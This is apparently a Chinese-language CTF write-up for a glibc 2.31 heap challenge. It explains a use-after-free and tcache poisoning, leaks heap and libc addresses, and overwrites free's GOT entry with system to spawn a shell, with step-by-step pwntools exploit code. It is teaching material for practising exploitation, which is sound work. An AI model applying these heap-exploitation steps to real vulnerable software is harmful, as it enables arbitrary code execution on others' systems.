学艺不精...对于"读/写函数对指针的利用"没那么敏感(
0xff 说在前面
下文EXP中,leak堆地址的部分需要”伪爆破”,如果报错的话多运行两三次脚本,直到heap_addr为四字节时即可成功运行
题目地址下载口令: 7c9pe6
0x00 Exploitations
- tcachebin libc2.31
- tcachebin poisoning
- 版本判断
- tcache有key混淆,则是2.31以上(不包含2.31)
- tcache有doublefree检测,则是2.28以上
- 有tcache,则是2.26及以上
- UAF
- 利用题目提供的堆表+puts/read进行任意地址读写
0x01 反汇编修改
首先进行一个反汇编的读
trick: IDA中对变量按Y键可以改变变量类型
alloc: strcspn是从字符串中返回不含“所查找字符”的子字符串的长度
delete: 指针未置零,一眼UAF
modify
0x02 分析与思路构造
分析部分
- 分析alloc: 只给了五次创建堆的机会,堆的大小都固定为0x28
- 没办法直接用unsortedbin leak libc
- 不能通过填满tcachebin来绕过tcache机制
- tcachebins poisoning
- 能拿到堆地址: 通过gdb找偏移来在堆区伪造chunk
- 能拿到栈地址: 通过gdb找偏移来在栈区伪造chunk
- 分析modify: 有puts/read
- 可能通过puts”直到遇到换行符才停止输出”的原理来泄露什么东西
- 分析delete
- UAF
- 远程测试libc版本
- doubleFree有限制,2.28以上
- 没有key混淆bk,可以直接拿到堆地址,2.31及以下
思路构造部分
最开始没patchelf,只能free两个chunk到tcachebin里,通过泄露fd的方式来泄露堆地址,然后我想tcachebin poisoning把堆中大小为0x1011的缓冲区下面的那一部分给修改一下,改成unsortedbin然后获取libc,再poison到got表修改free,最后提权。但这样消耗的chunk数目远大于5个。
后来patch以后发现bk里就有堆地址,然后又想到临近top chunk的unsorted bin会被合并。于是把目标对准了heapList。想通过修改heapList的size段位0x1041来伪造一个unsortedbin,然后leak libc。结果也是需要大量chunk,而且还申请失败了,现在没搞明白为啥失败了不说,连报错都忘了,无从下手了(
打完比赛以后跟N1nEmAn师傅沟流了一下,发现题目如果能在heapList伪造chunk的话,就可以通过modify函数里的puts和read任意地址读写了。我直接震撼HeyGap一百年。
综上,思路为:
- 利用tcachebin的bk泄露堆地址
- 在heapList伪造chunk,修改chunk0_ptr为”puts_got-8”
- puts会打印puts_got指向的地址,即puts_libc_addr,然后计算system地址
- 通过gdb发现”puts_got-8”正好是”free_got”
- 而read函数正好是修改”puts_got-8”指向的地址,即free_libc_addr,我们将其修改为sys_libc_addr
- 由于chunk0_ptr, chunk1_ptr均被修改,所以我们要找”ptr没有被修改”&”chunk没有被free过”的chunk2存一下/bin/sh
- free chunk2 —> getshell!
0x03 分步解题
patchelf,根据远程调试选择了libc2.31
1
2
3patchelf --set-rpath '$ORIGIN/' file_name
patchelf --set-interpreter my-ld-linux.so.2 my-program
patchelf --replace-needed liboriginal.so.1 libreplacement.so.1 my-program利用tcachebin的bk泄露堆地址
可以看到bk是指向tcachebin_entries[3]的1
2
3
4
5
6
7
8
9
10
11payload1 = payload2 = '\x00'
alloc(0,payload1,payload2)
alloc(1,payload1,payload2) # 这里申请了chunk1其实对这一步没啥用,下一步申请也行
delete(0)
io.sendlineafter('choose: ', str(3))
io.sendlineafter('index: ', str(0))
heap_addr = u64(io.recvuntil('\n')[-5:-1].ljust(8,b'\x00')) # 注:这里我没想到更好的方法,heap_addr有可能是三字节
也有可能是四字节,所以后续如果报错多试几次就行。
print('heap_addr ---> ',hex(heap_addr))
payload = p64(0)
io.sendafter('name is: ', payload)- 通过tcache poisoning在heapList段伪造chunk2,
1
2
3
4
5delete(1) # 把上一步申请的chunk1放进tcachebin
# gdb.attach(io) # 通过bins命令可以看到现在是tcachebin_entries[3] -> chunk1 -> chunk0
payload = p64(heap_addr + 0x290) # 改为tcachebin_entries[3] -> chunk1 -> (heap_addr + 0x290)
fill(1,payload)
alloc(2,payload1,payload2) # 把chunk1申请出来,bins变为tcachebin_entries[3] -> (heap_addr + 0x290) - 申请chunk2,同时把puts_got-8写进heapList[0],然后通过modify函数中的puts泄露libc(笔误: 下图“加上下一个chunk的prev_size构成了chunk2”中的”chunk2”应为chunk3)
1
2
3
4
5
6
7
8
9
10puts_got = elf.got['puts']
payload1 = p64(puts_got-8)
alloc(3,payload1,payload2)
fill(3,payload1)
# gdb.attach(io)
io.sendlineafter('choose: ', str(3))
io.sendlineafter('index: ', str(0))
io.recvuntil('this order is: ')
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print('puts_addr ---> ',hex(puts_addr))
读者也可以通过x/20gx 0x404020
来查看Libc中free的下一个地址是不是puts - 修改”puts_got-8”指向的地址,即free_libc_addr,我们将其修改为sys_libc_addr
1
2
3
4
5
6
7
8libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
print('libc_base ---> ',hex(libc_base))
print('sys_addr ---> ',hex(sys_addr))
payload1 = p64(sys_addr)
# gdb.attach(io)
io.sendafter('name is: ', payload1) - 找”ptr没有被修改”&”chunk没有被free过”的chunk2存一下/bin/sh然后free掉他,getshell!
1
2
3
4payload = '/bin/sh\x00'
# gdb.attach(io)
fill(2,payload)
delete(2)
0x04 完整EXP
1 | from pwn import * |
0x05 总结
这题太遗憾了…最后也没做出来。不过做一窍不通的题收获才最大。
做这道题之前还从来没接触过2.26版本以上的堆题,所以对tcachebin完全不了解。
对tcachebin的第一印象如下:
- 概述
- 0x10~0x410(貌似是)的chunk
- LIFO
- 大小只有7,free满以后再free就会放到对应的其他bin中
- 2.28及以下的libc不检测double free
- 伪造chunk
- 安全性比fastbin还差,不检验fd指向chunk的size直接申请
- leak堆地址
- 2.31及以下libc没有key加密,可以直接leak出对应大小的tcachebin_entry
目前就想到这些,这次多亏队友带飞,进半决赛了XD
- 2.31及以下libc没有key加密,可以直接leak出对应大小的tcachebin_entry